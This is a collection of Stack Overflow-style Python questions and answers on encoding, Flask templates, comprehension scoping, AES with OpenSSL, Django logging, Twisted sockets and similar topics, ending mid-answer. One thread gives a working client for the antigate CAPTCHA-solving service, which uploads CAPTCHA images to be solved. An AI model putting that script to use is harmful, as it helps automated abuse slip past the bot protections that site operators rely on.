#!/usr/bin/env python3
# -*- coding: utf-8 -*-
print("发财了")
A `UnicodeEncodeError` exception is raised if it's run in a command prompt
with big5 encoding (for example, in a Traditional Chinese version Windows).
Is there a way to make `print()` act like `encode()`, which accepts more
handlers such as `replace`, `backslashreplace`, or `xmlcharrefreplace`, so
that the string can be printed safely without raising an exception?
Answer: Here is my current solution:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import sys
def safeprint(*args, errors='backslashreplace', **kargs):
"""
Print safely and skips error decode.
Acts like print() with an additional "errors" argument to determine the
error handler for codec errors and accepts non-str-or-None types for the
"sep" and "end" arguments.
"""
e = (kargs['file'] if 'file' in kargs else sys.stdout).encoding
args = [str(x) for x in args]
sep = str(kargs['sep']) if 'sep' in kargs and kargs['sep'] is not None else " "
end = str(kargs['end']) if 'end' in kargs and kargs['end'] is not None else "\n"
text = sep.join(args) + end
kargs['sep'] = ""
kargs['end'] = ""
print(text.encode(e, errors).decode(e, errors), **kargs)
if __name__ == "__main__":
safeprint("Hello World!", "你好世界！", "ハローワールド", "हैलो वर्ल्ड")
safeprint("Hello World!", "你好世界！", "ハローワールド", "हैलो वर्ल्ड", errors="ignore")
safeprint("Hello World!", "你好世界！", "ハローワールド", "हैलो वर्ल्ड", errors="replace")
safeprint("Hello World!", "你好世界！", "ハローワールド", "हैलो वर्ल्ड", errors="backslashreplace")
safeprint("Hello World!", "你好世界！", "ハローワールド", "हैलो वर्ल्ड", errors="xmlcharrefreplace")
safeprint("Hello World!", "你好世界！", "ハローワールド", "हैलो वर्ल्ड", sep=None, end=str)
safeprint("Hello World!", "你好世界！", "ハローワールド", "हैलो वर्ल्ड", sep=" -发- ", end=" -财- \n")
with open("safeprint_big5.log", "w", encoding="big5") as f:
safeprint("Hello World!", "你好世界！", "ハローワールド", "हैलो वर्ल्ड", file=f)
with open("safeprint_gbk.log", "w", encoding="gbk") as f:
safeprint("Hello World!", "你好世界！", "ハローワールド", "हैलो वर्ल्ड", file=f)
with open("safeprint_utf8.log", "w", encoding="utf-8") as f:
safeprint("Hello World!", "你好世界！", "ハローワールド", "हैलो वर्ल्ड", file=f)
This approach makes a custom function `safeprint()` that acts like native
`print()` with these differences:
1. Has an additional `errors` argument to determine how to handle codec errors (`backslashreplace` as default).
2. The `sep` and `end` arguments accept types other than str or None.
`safeprint()` checks the encoding of the ouput file that native `print()` are
supposed to write into and encodes all text arguments beforewards, and
therefore all printable chars are printed as-is and all unprintable chars are
printed as transformed.
Although encoding and decoding beforewards for all texts being printed seems
inefficient, native `encode()` and `decode()` are C based and are running very
fast. In a test I print some articles with a utf8-compatible plain text for
5000 times in a utf8 console, the native `print()` takes `0:00:02.366799` and
`safeprint()` takes `0:00:02.915871`. It proves that the performance drop is
almost negligible.
The above script can be saved as a module script, say `safeprint.py`. Other
scripts can use `from safeprint import safeprint` and use `safeprint()`, or
can even use `from safeprint import safeprint as print` to overwrite the
native `print()` so that `print()` will work just like `safeprint()` does.
|
How do I tell Python to press left mouse button at a button of a website?
Question: I want to use Python to press the left mouse button at a button of a website.
My code I'm trying:
from TKinter import *
import webbrowser
def blackdesertonline():
webbrowser.open("http://black.game.daum.net/black/index.daum",
new=1,
autoraise=True)
main = Tk()
bblackdesertonline = Button(main,
text = "Start Black Desert Online",
command = blackdesertonline)
bblackdesertonline.pack()
main.mainloop()
How can I tell the program to press a button?
Answer: You will need to use a library specifically designed to automate websites,
such as [selenium](https://pypi.python.org/pypi/selenium).
|
How to get a Python dict into an HTML template using Flask/Jinja2
Question: I'm trying to use a Python dict in an HTML file. The dictionary is passed to
the HTML template through the `render_template` function in Flask.
This is the format of the dict:
dict1[counter] = {
'title': l.getTitle(),
'url': l.getLink(),
'img': l.getImg()
}
Then in the HTML template in which I want to iterate through this dict:
{% for l in result.iteritems() %}
<div class="link">
<a href="{{ l.url }}"> {{l.title}}</a>
<img src="{{ l.img }}" width="100" height="100">
</div>
{% endfor %}
I don't know what the problem is, since there is no error log in Flask.
Answer: The problem is that you’re iterating over `iteritems()`, which is an iterator
of (key, value) pairs. This means that the `l` variable is a tuple, not a
dictionary. You actually want to iterate over `itervalues()` instead. Update
your template code as follows:
{% for l in result.itervalues() %}
<div class="link">
<a href="{{ l.url }}"> {{l.title}}</a>
<img src="{{ l.img }}" width="100" height="100">
</div>
{% endfor %}
I believe that should get you the behaviour you want.
* * *
Note that this will return the values in a random order (as iterating over a
dictionary is random). If you wanted to sort by the key, you could modify the
template as follows:
{% for key in result.iterkeys()|sort %}
<div class="link">
{%- set val=result[key] %}
<a href="{{ val.url }}"> {{val.title}}</a>
<img src="{{ val.img }}" width="100" height="100">
</div>
{% endfor %}
Here we iterate over the sorted keys, get the associated value, and then drop
it into the template.
You could also swap out the `sort` filter for another filter which applies the
ordering of your choice.
* * *
Here’s a minimal example that demonstrates the new template:
TEMPLATE_STR = """
{% for l in result.itervalues() %}
<div class="link">
<a href="{{ l.url }}"> {{l.title}}</a>
<img src="{{ l.img }}" width="100" height="100">
</div>
{% endfor %}
"""
from jinja2 import Template
template = Template(TEMPLATE_STR)
class democlass(object):
def getTitle(self): return "Hello world"
def getLink(self): return "google.co.uk"
def getImg(self): return "myimage.png"
class democlass2(object):
def getTitle(self): return "Foo bar"
def getLink(self): return "stackoverflow.com"
def getImg(self): return "a_photo.jpeg"
l = democlass()
m = democlass2()
dict1 = {}
dict1['l'] = { 'title': l.getTitle(), 'url': l.getLink(), 'img': l.getImg() }
dict1['m'] = { 'title': m.getTitle(), 'url': m.getLink(), 'img': m.getImg() }
print template.render(result=dict1)
Here's the HTML it returns:
<div class="link">
<a href="stackoverflow.com"> Foo bar</a>
<img src="a_photo.jpeg" width="100" height="100">
</div>
<div class="link">
<a href="google.co.uk"> Hello world</a>
<img src="myimage.png" width="100" height="100">
</div>
|
Dict comprehension produces seemingly unwarranted NameError
Question: I'm using `brian2` to run neural-network simulations. In order to record data
during each simulation, I'm creating several instantiations of `brian2`'s
`SpikeMonitor` class. I want to store these monitors in a dict, created using
a dict comprehension.
As a test, I execute the following in an interactive session:
In [1]: import brian2
In [2]: pe_mt = brian2.PoissonGroup(1, 100 * brian2.Hz)
In [3]: record_pops = ['pe_mt']
In [4]: {'mon_' + pop: brian2.SpikeMonitor(eval(pop)) for pop in record_pops}
Out[4]: {'mon_pe_mt': <SpikeMonitor, recording spikemonitor>}
Everything looks great. But now when I move this code into the following
function
def test_record():
pe_mt = brian2.PoissonGroup(1, 100 * brian2.Hz)
record_pops = ['pe_mt']
return {'mon_' + pop: brian2.SpikeMonitor(eval(pop)) for pop in
record_pops}
and call it, I get the following error
In [9]: tests.test_record()
---------------------------------------------------------------------------
NameError Traceback (most recent call last)
<ipython-input-9-4d3d585b2c97> in <module>()
----> 1 tests.test_record()
/home/daniel/Science/dopa_net/brian/ardid/tests.py in test_record()
61 record_pops = ['pe_mt']
62 return {'mon_' + pop: brian2.SpikeMonitor(eval(pop)) for pop in
---> 63 record_pops}
64 # DEBUG ###################
65 #monitors = utils.record(['pe_mt'], 'spikes', None, None, pe_mt, None, None)
/home/daniel/Science/dopa_net/brian/ardid/tests.py in <dictcomp>((pop,))
60 # DEBUG ###################
61 record_pops = ['pe_mt']
---> 62 return {'mon_' + pop: brian2.SpikeMonitor(eval(pop)) for pop in
63 record_pops}
64 # DEBUG ###################
/home/daniel/Science/dopa_net/brian/ardid/tests.py in <module>()
NameError: name 'pe_mt' is not defined
What's going on here? 'pe_mt' _is_ defined within the function.
Note that if I change the dict comprehension to a list comprehension, as in
return [brian2.SpikeMonitor(eval(pop)) for pop in record_pops]
no error is raised! I get a list of `SpikeMonitor` objects, defined
appropriately.
An answer that has now been erased suggested that I use `locals()[pop]`
instead of `eval(pop)`. Note that this raises an equivalent error:
In [20]: tests.test_record()
---------------------------------------------------------------------------
KeyError Traceback (most recent call last)
<ipython-input-20-4d3d585b2c97> in <module>()
----> 1 tests.test_record()
/home/daniel/Science/dopa_net/brian/ardid/tests.py in test_record()
61 record_pops = ['pe_mt']
62 return {'mon_' + pop: brian2.SpikeMonitor(locals()[pop]) for pop in
---> 63 record_pops}
64 # DEBUG ###################
65 #monitors = utils.record(['pe_mt'], 'spikes', None, None, pe_mt, None, None)
/home/daniel/Science/dopa_net/brian/ardid/tests.py in <dictcomp>((pop,))
60 # DEBUG ###################
61 record_pops = ['pe_mt']
---> 62 return {'mon_' + pop: brian2.SpikeMonitor(locals()[pop]) for pop in
63 record_pops}
64 # DEBUG ###################
KeyError: 'pe_mt'
Answer: One: Forget `eval`, because it can cause unexpected things to happen if the
string passed to it is an expression or a function call, rather than an
identifier. If you _really_ need to get a local variable by name you can do it
cleanly using `locals()[name]`.
Docs: [`locals`](https://docs.python.org/2/library/functions.html#locals)
* * *
Two: All comprehensions and generator expressions (except list comprehensions
in python 2.x) [have their own
namespace](http://stackoverflow.com/questions/22485399/python-dictionary-
comprehension-gives-keyerror), so `locals()` inside the comprehension will
refer to that one - the one that doesn't have your variable. Same goes for
`eval` that [captures your local variables by
default](https://docs.python.org/2/library/functions.html#eval):
> If the locals dictionary is omitted it defaults to the globals dictionary.
> If both dictionaries are omitted, the expression is executed in the
> environment where eval() is called.
You can work that around by getting them earlier:
def test_record():
pe_mt = brian2.PoissonGroup(1, 100 * brian2.Hz)
record_pops = ['pe_mt']
groups = locals()
return {'mon_' + pop: brian2.SpikeMonitor(eval(pop, globals(), groups)) for pop in record_pops}
# or better
return {'mon_' + pop: brian2.SpikeMonitor(groups[pop]) for pop in record_pops}
Or more conventionally, without `locals`:
def test_record():
groups = {
"pe_mt": brian2.PoissonGroup(1, 100 * brian2.Hz),
}
return {'mon_' + key: brian2.SpikeMonitor(value) for key, value in groups.iteritems()}
|
Python Packages and Modules
Question: I've never really needed to use packages and modules before in python but now
as my code base is getting bigger and bigger i'd like to structure it so its
imported easier.
I've got 10+ .py files that are all part of a package. Instead of doing
`import` each and every class when i need them, how can I just group them in
the same name space so that I can also reference `import package.componentA as
x`?
Right now when ever I utilize my all the code, I got to have the source files
in the same directory. Is it also possible to package this in a central
location so that I can have clean project code?
Thanks,
Answer: Use the `__init__.py` file in the package and import the modules you want to
use from there. So when you import the package it will import everything in
that file.
Some good info on this method [here](http://mikegrouchy.com/blog/2012/05/be-
pythonic-__init__py.html).
|
Why is this returning two values? Easy python beginner
Question: Can someone please explain why my enter method in the following class is
returning two values? I'm learning python and in the process of creating a
simple game to grasp OOP and classes. Anyhow I need the enter method to return
a random snippet from the snippets list. But I keep getting two snippets
instead of one. Can someone explain why?
from sys import exit
from random import randint
class Island(object):
def enter(self):
pass
class Loser(Island):
snippets = ["Welcome to loser Island",
"Can't win them all",
"There's always next time"]
def enter(self):
print Loser.snippets[randint(0,len(self.snippets)-1)]
loser_test = Loser()
loser_test.enter()
Answer: Why don't you just use
[`random.choice`](https://docs.python.org/3/library/random.html#random.choice)
def enter(self):
print random.choice(self.snippets)
|
GAE app main.py request handlers
Question: I have been following a GAE/Jinja2 tutorial, and thankfully it incorporates a
feature I have been struggling with within GAE, which is how to link the html
pages using the main.py file so they can be edited using Jinja2. The code for
main.py is below.
import webapp2
import logging
import jinja2
import os
jinja_environment = jinja2.Environment(
loader = jinja2.FileSystemLoader(os.path.dirname(__file__) + "/templates"))
class MainPage(webapp2.RequestHandler):
def get(self):
template_values = {
'welcome':'Welcome to my website!',
}
template = jinja_environment.get_template('homepage.html')
self.response.write(template.render(template_values))
class FeedbackPage(webapp2.RequestHandler):
def get(self):
feedbackvalues = {
}
template = jinja_environment.get_template('feedbackform.html')
class TopFinishers(webapp2.RequestHandler):
def get(self):
template = jinja_environment.get_template('Top10Finishers.html')
class Belts(webapp2.RequestHandler):
def get(self):
template = jinja_environment.get_template('WWETitlesBelt.html')
class TopWrestlers(webapp2.RequestHandler):
def get(self):
template = jinja_environment.get_template('Top10Wrestlers.html')
app = webapp2.WSGIApplication([('/',MainPage), ('/feedbackform.html',FeedbackPage),
('/Top10Finishers.html',TopFinishers),
('/WWETitlesBelt.html',Belts),
],
debug=True)
Within the tutorial I followed the procedure for adding more request handlers
and then instantiating them in the app object. However, when I load the page
by clicking on the button on the page it takes me to a blank page. When I
click to go to 'Top 10 Finishers' it will successfully take me to the page as
the URL is 'localhost:etc/Top10Finishers.html.
However, the content is not showing, do I need to add any URL handlers within
the app.yaml file?
application: 205semestertwo
version: 1
runtime: python27
api_version: 1
threadsafe: yes
handlers:
- url: /css
static_dir: styling
- url: .*
script: main.app
libraries:
- name: webapp2
version: "2.5.2"
- name: jinja2
version: "2.6"
My question is 'What is causing this error'? As the console logs do not appear
to be giving me any error or insight
Answer: You are successfully retrieving the new template on each handler, but forgot
to write it on the response, the same way you did for your main handler:
class TopFinishers(webapp2.RequestHandler):
def get(self):
values = {}
template = jinja_environment.get_template('Top10Finishers.html')
self.response.write(template.render(values))
This applies to all your handlers.
|
When to use ast.literal_eval
Question: I came across this code and it works, but I am not entirely sure about **when
to use ast** and **whether there are performance issues** when this is used
instead of getting the string value from `input()` and converting it to int.
import ast
cyper_key = ast.literal_eval(input("Enter the key (a value between 0 and 25) : "))
# this get the user input as an int to the variable cyper_key
I read the docs I understand what it does.
> This can be used for safely evaluating strings containing Python values from
> untrusted sources without the need to parse the values oneself. It is not
> capable of evaluating arbitrarily complex expressions, for example involving
> operators or indexing.
I am looking for an explanation on above bold points.
Answer: If it's going to be used as an `int`, then just use:
cypher_key = int(input("Enter the key (a value between 0 and 25) : "))
Only use that if you expect the user to be entering `10e7` or something. If
you want to handle different bases, you can use `int(input(...), 0)` to
automatically divine the base. If it really is an integer value between 0 and
25, there's no reason to use `ast`.
|
AES-ECB encryption (Difference between Python Crypto.Cipher and openssl)
Question: i have a problem with encryption using python and openssl.
i wrote this small python script:
#!/usr/bin/python
from Crypto.Cipher import AES
obj = AES.new('Thisisakey123456', AES.MODE_ECB)
message = "Sample text....."
ciphertext = obj.encrypt(message)
print ciphertext
When i run the script with this command:
$ ./enc.py | base64
i get `E0lNh0wtSg9lxxKClBEITAo=` as a result.
If i do the same (or obviously it's not the same ;) ) in openssl i get another
result:
$ echo -n "Sample text....." | openssl aes-128-ecb -k "Thisisakey123456" -nosalt -nopad | base64
yvNTGC+gwUK38uyJXIk/sQ==
What i am doing wrong?? i would expect the same base64 encoded string.
btw: i know ecb is bad, but i just play around, so it's no problem... ;)
Answer: You can try this command:
echo -n "Sample text....." | openssl aes-128-ecb -K 546869736973616b6579313233343536 -nopad | openssl base64
this explicitly specifies the key in
[hexadecimals](http://www.asciitohex.com/). With `-k` the following "key" is
actually a password, which is converted through an OpenSSL Password Based Key
Derivation Function (PBKDF) called `EVP_BytesToKey` (using one iteration of
SHA-1).
The result is `E0lNh0wtSg9lxxKClBEITA==`. This is not identical to
`E0lNh0wtSg9lxxKClBEITAo=` but that's because Python adds a single newline
character `\n` to the ciphertext, resulting in one extra byte to encode.
|
How to suppress the deprecation warnings in Django?
Question: Every time I'm using the `django-admin` command — even on TAB–completion — it
throws a `RemovedInDjango19Warning` (and a lot more if I use the _test_
command). How can I suppress those warnings?
I'm using Django 1.8 with Python 3.4 (in a virtual environment).
As far as I can tell, all those warnings come from libraries not from my code,
here are some examples:
* `…/lib/python3.4/importlib/_bootstrap.py:321: RemovedInDjango19Warning: django.contrib.contenttypes.generic is deprecated and will be removed in Django 1.9. Its contents have been moved to the fields, forms, and admin submodules of django.contrib.contenttypes. return f(*args, **kwds)`
* `…/lib/python3.4/site-packages/django/contrib/admin/util.py:7: RemovedInDjango19Warning: The django.contrib.admin.util module has been renamed. Use django.contrib.admin.utils instead. "Use django.contrib.admin.utils instead.", RemovedInDjango19Warning)`
* `…/lib/python3.4/site-packages/django/templatetags/future.py:25: RemovedInDjango19Warning: Loading the ``url`` tag from the ``future`` library is deprecated and will be removed in Django 1.9. Use the default ``url`` tag instead. RemovedInDjango19Warning)`
Answer: Adding a logging filter to settings.py can suppress these console warnings (at
least for manage.py commands in Django 1.7, Python 3.4).
A filter can selectively suppress warnings. The following code creates a new
"suppress_deprecated" filter for the console and appends it to the default
logging filters. Add this block to settings.py to configure the LOGGING
variable:
import logging, copy
from django.utils.log import DEFAULT_LOGGING
LOGGING = copy.deepcopy(DEFAULT_LOGGING)
LOGGING['filters']['suppress_deprecated'] = {
'()': 'mysite.settings.SuppressDeprecated'
}
LOGGING['handlers']['console']['filters'].append('suppress_deprecated')
class SuppressDeprecated(logging.Filter):
def filter(self, record):
WARNINGS_TO_SUPPRESS = [
'RemovedInDjango18Warning',
'RemovedInDjango19Warning'
]
# Return false to suppress message.
return not any([warn in record.getMessage() for warn in WARNINGS_TO_SUPPRESS])
The 'mysite.settings.SuppressDeprecated' string needs to change if the root
website module (or filter location and/or name) is different.
|
WXPython Maximize Frame Disable Resizing
Question: I am using Python 2.7.6 and wxPython 2.8.12.1 on Linux Mint 17.1 KDE Desktop
4.14.2. I am trying to develop an application in which the window will start
maximized and there will be no maximize box or resize box. In other words
users will not be able to resize the window. Here is my code.
import wx
class Frame1(wx.Frame):
def __init__(self, *args, **kwds):
kwds["style"] = (wx.DEFAULT_FRAME_STYLE|wx.MAXIMIZE) & ~ (wx.RESIZE_BORDER|wx.RESIZE_BOX|wx.MAXIMIZE_BOX)
wx.Frame.__init__(self, *args, **kwds)
self.Layout()
self.Show()
if __name__ == "__main__":
a = wx.App(0)
f = Frame1(None, -1, "No Resize")
a.MainLoop()
On KDE desktop, I do not get the maximized window. What is it I am missing
here?
Please help.
Thanks.
Answer: RESIZE_BOX is not a valid style, after I remove that and add MINIZE_BOX to the
styles to be removed it works for me on Win8 and Mint17 with Phoenix and with
wxPython 2.8.12.1 (gtk2-unicode):
import wx
class Frame1(wx.Frame):
def __init__(self, *args, **kwds):
kwds["style"] = (wx.DEFAULT_FRAME_STYLE|wx.MAXIMIZE) & ~ (wx.RESIZE_BORDER|wx.MAXIMIZE_BOX|wx.MINIMIZE_BOX)
wx.Frame.__init__(self, *args, **kwds)
self.Layout()
self.Show()
if __name__ == "__main__":
a = wx.App(0)
f = Frame1(None, -1, "No Resize")
a.MainLoop(
)
|
Avoiding code repetition in default arguments in Python
Question: Consider a typical function with default arguments:
def f(accuracy=1e-3, nstep=10):
...
This is compact and easy to understand. But what if we have another function
`g` that will call `f`, and we want to pass on some arguments of `g` to `f`? A
natural way of doing this is:
def g(accuracy=1e-3, nstep=10):
f(accuracy, nstep)
...
The problem with this way of doing things is that the default values of the
optional arguments get repeated. Usually when propagating default arguments
like this, one wants the same default in the upper function (`g`) as in the
lower function (`f`), and hence any time the default changes in `f` one needs
to go through all the functions that call it and update the defaults of any of
their arguments they would propagate to `f`.
Another way of doing this is to use a placeholder argument, and fill in its
value inside the function:
def f(accuracy=None, nstep=None):
if accuracy is None: accuracy = 1e-3
if nstep is None: nstep=10
...
def g(accuracy=None, nstep=None):
f(accuracy, nstep)
...
Now the calling function doesn't need to know what `f`'s defaults are. But the
`f` interface is now a bit more cumbersome, and less clear. This is the
typical approach in languages without explicit default argument support, like
fortran or javascript. But if one does everything this way in python, one is
throwing away most of the language's default argument support.
Is there a better approach than these two? What is the standard, pythonic way
of doing this?
Answer: Define global constants:
ACCURACY = 1e-3
NSTEP = 10
def f(accuracy=ACCURACY, nstep=NSTEP):
...
def g(accuracy=ACCURACY, nstep=NSTEP):
f(accuracy, nstep)
* * *
If `f` and `g` are defined in different modules, then you could make a
`constants.py` module too:
ACCURACY = 1e-3
NSTEP = 10
and then define `f` with:
from constants import ACCURACY, NSTEP
def f(accuracy=ACCURACY, nstep=NSTEP):
...
and similarly for `g`.
|
Cleanly unload shared library and start over with Python CFFI
Question: I'm setting up and opening a DLL like this:
from cffi import FFI
ffi = FFI()
api_path = '/path_to/api.h'
lib_path = '/path_to/lib.so'
with open(api_path) as f:
ffi.cdef(f.read())
mylib = ffi.dlopen(lib_path)
myfunc_c = ff.callback('int (char *)', myfunc)
#etc...
How can I close the library and open it again? If I do
del mylib
and try the above code again I get `CDefError: cannot parse ...` when
attempting `ffi.cdef()`.
I've seen some examples for ctypes using `dlclose()` but can't find an
equivalent for CFFI.
Thanks.
Answer: Sorry, CFFI has no way to call explicitly the C-level `dlclose()`. It is only
called implicitly if the library object goes out of scope. Also, the `ffi`
object keeps this library alive, so `ffi` needs to go out of scope too.
If you really want to do it, you need to make sure all references to `mylib`
and `ffi` are gone, and call `gc.collect()`. (If you want then to reload, you
need to start again with a fresh `ffi = FFI()`.)
The next version of CFFI might add something like `ffi.close_libraries()` that
unloads the libraries loaded in this `ffi` object.
**EDIT:** it won't work for libraries loaded with `verify()` on CPython,
because these ones are regular CPython C extension modules, and CPython never
unloads its C extension modules. This means that the general
`ffi.close_libraries()` idea might be doomed...
|
Use to Chrome Store Publishing API with OAuth2 Service Account
Question: I try to update a chrome app programmatically by using the [Chrome Web Store
Publishing API](https://developer.chrome.com/webstore/using_webstore_api).
I need to use a server to server authentication method and therefor created an
oauth2 service account on the [Google developer
console](https://console.developers.google.com/project) for my project. And
downloaded the credentials as key.p12.
I then try to use the [Google API Client for
Python](https://github.com/google/google-api-python-client). Even though the
API does not support the Chrome Web Store, it should be possible to use parts
of it.
I created a small script in Python to try to get a list of my Chrome Web Store
items:
"""Creates a connection to Google Chrome Webstore Publisher API."""
from apiclient.discovery import build
import httplib2
from oauth2client import client
import os
SERVICE_ACCOUNT_EMAIL = (
'[email protected]')
def getservice():
# get relative path to p12 key
dir = os.path.dirname(__file__)
filename = os.path.join(dir, 'key.p12')
# Load the key in PKCS 12 format that you downloaded from the Google APIs
# Console when you created your Service account.
f = file(filename, 'rb')
key = f.read()
f.close()
# Create an httplib2.Http object to handle our HTTP requests and authorize it
# with the Credentials. Note that the first parameter, service_account_name,
# is the Email address created for the Service account. It must be the email
# address associated with the key that was created.
credentials = client.SignedJwtAssertionCredentials(
SERVICE_ACCOUNT_EMAIL,
key,
scope='https://www.googleapis.com/auth/chromewebstore.readonly')
http = httplib2.Http()
http = credentials.authorize(http)
response = http.request('https://www.googleapis.com/chromewebstore/v1.1/items/[___my_chrome_webstore_app_id___]')
print response
Even though the **authentication** towards
<https://www.googleapis.com/auth/chromewebstore.readonly> is **successful** ,
the response results in a **403** error.
My questions:
1. Does the 403 occur, because the service account does not have acces to my google chrome webstore items?
2. Is it possible to authenticate and use the Chrome Store API without using my personal account, that publishes into the web store (but the connected service account)?
3. How could I retrieve a valid authToken to use for the Chrome Web Store API without having a user to authenticate through the `flow`.
Answer: 1. Does the 403 occur, because the service account does not have acces to my google chrome webstore items?
Probably. A Service Account is **not** your own Google account.
2. Is it possible to authenticate and use the Chrome Store API without using my personal account, that publishes into the web store (but the connected service account)?
Dunno. Sorry not familiar with the Chrome Store API. You can use the Oauth
Playground to test the possibilities without having to write any code.
3. How could I retrieve a valid authToken to use for the Chrome Web Store API without having a user to authenticate through the flow.
By authorizing once with "offline access", which will return you a Refresh
Token. You can use that at any time, even if not logged in, to request an
Access Token. As an aside, there is no such thing as an "authtoken". There is
an Authorization Code and there is an Access Token. In your case, it's the
Access Token you're interested in.
|
How to translate script i python 2,7
Question: This script works in Python34 How translate in Python27?
import urllib.request, re, urllib.parse
from base64 import b64encode
import codecs
import time
def send_cap(key, fn):
print ('1')
data=open(fn, 'rb')
print ('2')
s = b64encode(data.read())
print ('3')
image = s.decode('latin-1')
print ('4')
params = urllib.parse.urlencode({'method': 'base64', 'key': key, 'body':image, 'ext':'jpg'})
print ('5')
bindata=params.encode('ascii')
f = urllib.request.urlopen("http://antigate.com/in.php", bindata)#params)
print ('6')
res = str(f.read().decode())
print(res)
cap_id = re.search('\d+',res)
if cap_id == None:
return False
else:
idc = cap_id.group(0)
return idc
def get_cap_text(key, cap_id):
time.sleep(5)
res_url= 'http://antigate.com/res.php'
res_url+= "?" + urllib.parse.urlencode({'key': key, 'action': 'get', 'id': cap_id})
flag=False
while flag==False:
res= urllib.request.urlopen(res_url).read()
res = res.decode()
if res == 'CAPCHA_NOT_READY':
time.sleep(1)
else:
flag=True
res= re.split('[\W]+',res)
if len(res[0]) == 2:
return res[1]
else:
return ('ERROR', res[0])
res = send_cap('eeeee','capcha2.jpg')
print(res)
text= get_cap_text('eeeee', res)
print (text)
Answer: If this works in Python 3, then you should change a few lines containing
`urllib` to convert:
import urllib, re # first line of imports
urllib.urlopen # no urllib.request
urllib.urlencode # no urllib.parse
|
Python: SocketServer closes TCP connection unexpectedly
Question: I would like to implement a TCP/IP network client application that sends
requests to a Python
[SocketServer](https://docs.python.org/2/library/socketserver.html) and
expects responses in return. I have started out with the official Python
[SocketServer sample
code](https://docs.python.org/2/library/socketserver.html#socketserver-
tcpserver-example):
`server.py:`
#!/usr/bin/env python
# encoding: utf-8
import SocketServer
class MyTCPHandler(SocketServer.StreamRequestHandler):
def handle(self):
request = self.rfile.readline().strip()
print "RX [%s]: %s" % (self.client_address[0], request)
response = self.processRequest(request)
print "TX [%s]: %s" % (self.client_address[0], response)
self.wfile.write(response)
def processRequest(self, message):
if message == 'request type 01':
return 'response type 01'
elif message == 'request type 02':
return 'response type 02'
if __name__ == "__main__":
server = SocketServer.TCPServer(('localhost', 12345), MyTCPHandler)
server.serve_forever()
`client.py:`
#!/usr/bin/env python
# encoding: utf-8
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect(('127.0.0.1', 12345))
data = 'request type 01'
sent = sock.sendall(data + '\n')
if sent == 0:
raise RuntimeError("socket connection broken")
received = sock.recv(1024)
print "Sent: {}".format(data)
print "Received: {}".format(received)
data = 'request type 02'
sent = sock.sendall(data + '\n')
if sent == 0:
raise RuntimeError("socket connection broken")
received = sock.recv(1024)
print "Sent: {}".format(data)
print "Received: {}".format(received)
except Exception as e:
print e
finally:
sock.close()
`server.py` output:
RX [127.0.0.1]: request type 01
TX [127.0.0.1]: response type 01
`client.py` output:
Sent: request type 01
Received: response type 01
[Errno 54] Connection reset by peer
What am doing wrong ? It seems the server is closing the connection. How can I
make it stay open ?
Note: This is a follow-up question to [C++/Qt: QTcpSocket won't write after
reading](http://stackoverflow.com/q/29549878)
**Update (after[abarnert's answer](http://stackoverflow.com/a/29572128)):**
What I take away from this is that `SocketServer.StreamRequestHandler` is not
the most recent design and while it allows me to connect over a network, it
doesn't really support me with all the TCP/IP-related aspects I need to take
care of to implement robust communication.
This has been addressed in Python 3 with
[asyncio](https://docs.python.org/3.4/library/asyncio.html), but as the
project lives in Python 2, that's not an option. I have therefore implemented
the server and client described above in
[Twisted](https://twistedmatrix.com/):
`server.py:`
#!/usr/bin/env python
# encoding: utf-8
from twisted.internet.protocol import Factory
from twisted.protocols.basic import LineReceiver
from twisted.internet import reactor
class SimpleProtocol(LineReceiver):
def connectionMade(self):
print 'connectionMade'
# NOTE: lineReceived(...) doesn't seem to get called
def dataReceived(self, data):
print 'dataReceived'
print 'RX: %s' % data
if data == 'request type 01':
response = 'response type 01'
elif data == 'request type 02':
response = 'response type 02'
else:
response = 'unsupported request'
print 'TX: %s' % response
self.sendLine(response)
class SimpleProtocolFactory(Factory):
def buildProtocol(self, addr):
return SimpleProtocol()
reactor.listenTCP(12345, SimpleProtocolFactory(), interface='127.0.0.1')
reactor.run()
`client.py:`
#!/usr/bin/env python
# encoding: utf-8
from twisted.internet import reactor
from twisted.internet.protocol import Protocol
from twisted.internet.endpoints import TCP4ClientEndpoint, connectProtocol
class SimpleClientProtocol(Protocol):
def sendMessage(self, msg):
print "[TX]: %s" % msg
self.transport.write(msg)
def gotProtocol(p):
p.sendMessage('request type 01')
reactor.callLater(1, p.sendMessage, 'request type 02')
reactor.callLater(2, p.transport.loseConnection)
point = TCP4ClientEndpoint(reactor, '127.0.0.1', 12345)
d = connectProtocol(point, SimpleClientProtocol())
d.addCallback(gotProtocol)
reactor.run()
The client doesn't close, but idles until `CTRL`+`C`. Twisted might take a
while to get my head around, but for the job at hand, it clearly seems more
reasonable to employ a tested and tried framework than to do all this
groundwork myself.
**NOTE:** This is continued at [Twisted XmlStream: How to connect to
events?](http://stackoverflow.com/q/29683769)
Answer: The problem here is that in a `TCPHandler`, a "request" is actually a complete
connection, from beginning to end.* Your handler gets called on `accept`, and
when you return from it, the socket gets closed.
If you want to build a request-response-protocol handler on top of that, which
processes multiple protocol-level requests on a single socket-level request,
you have to do that yourself (or use a higher-level framework). (Subclasses
like
[`BaseHTTPServer`](https://docs.python.org/2.7/library/basehttpserver.html)
demonstrate how to do this.)
For example, you can just use a loop within your `handle` function. Of course
you probably want to add an exception handler here and/or deal with EOF from
`rfile` (note `self.rfile.readline()` will return `''` for EOF, but `'\n'` for
a blank line, so you have to check it before calling `strip` unless you want a
blank line to mean "quit" in your protocol). For example:
def handle(self):
try:
while True:
request = self.rfile.readline()
if not request:
break
request = request.rstrip()
print "RX [%s]: %s" % (self.client_address[0], request)
response = self.processRequest(request)
print "TX [%s]: %s" % (self.client_address[0], response)
self.wfile.write(response + '\n')
except Exception as e:
print "ER [%s]: %r" % (self.client_address[0], e)
print "DC [%s]: disconnected" % (self.client_address[0])
* * *
This will _often_ work with your existing client, at least over localhost on
an unloaded machine, but it's not actually correct, and "often works" is
rarely good enough. See [TCP sockets are byte streams, not message
streams](http://stupidpythonideas.blogspot.com/2013/05/sockets-are-byte-
streams-not-message.html) for a longer discussion, but briefly, you _also_
need to do the stuff mentioned in [David Schwarz's
answer](http://stackoverflow.com/a/29571816/908494): append newlines to what
you write from the server (which I already did above), and have the client
read line by line instead of just trying to read 1024 bytes at a time (which
you can do by writing your own buffer-and-split-lines code, or just by using
the
[`makefile`](https://docs.python.org/2.7/library/socket.html#socket.socket.makefile)
method, so it can use `rfile.readline()` just like the server side does.)
Not fixing the client won't cause the problems that answer claims, but it
_will_ cause problems like this:
Sent: request type 01
Received: resp
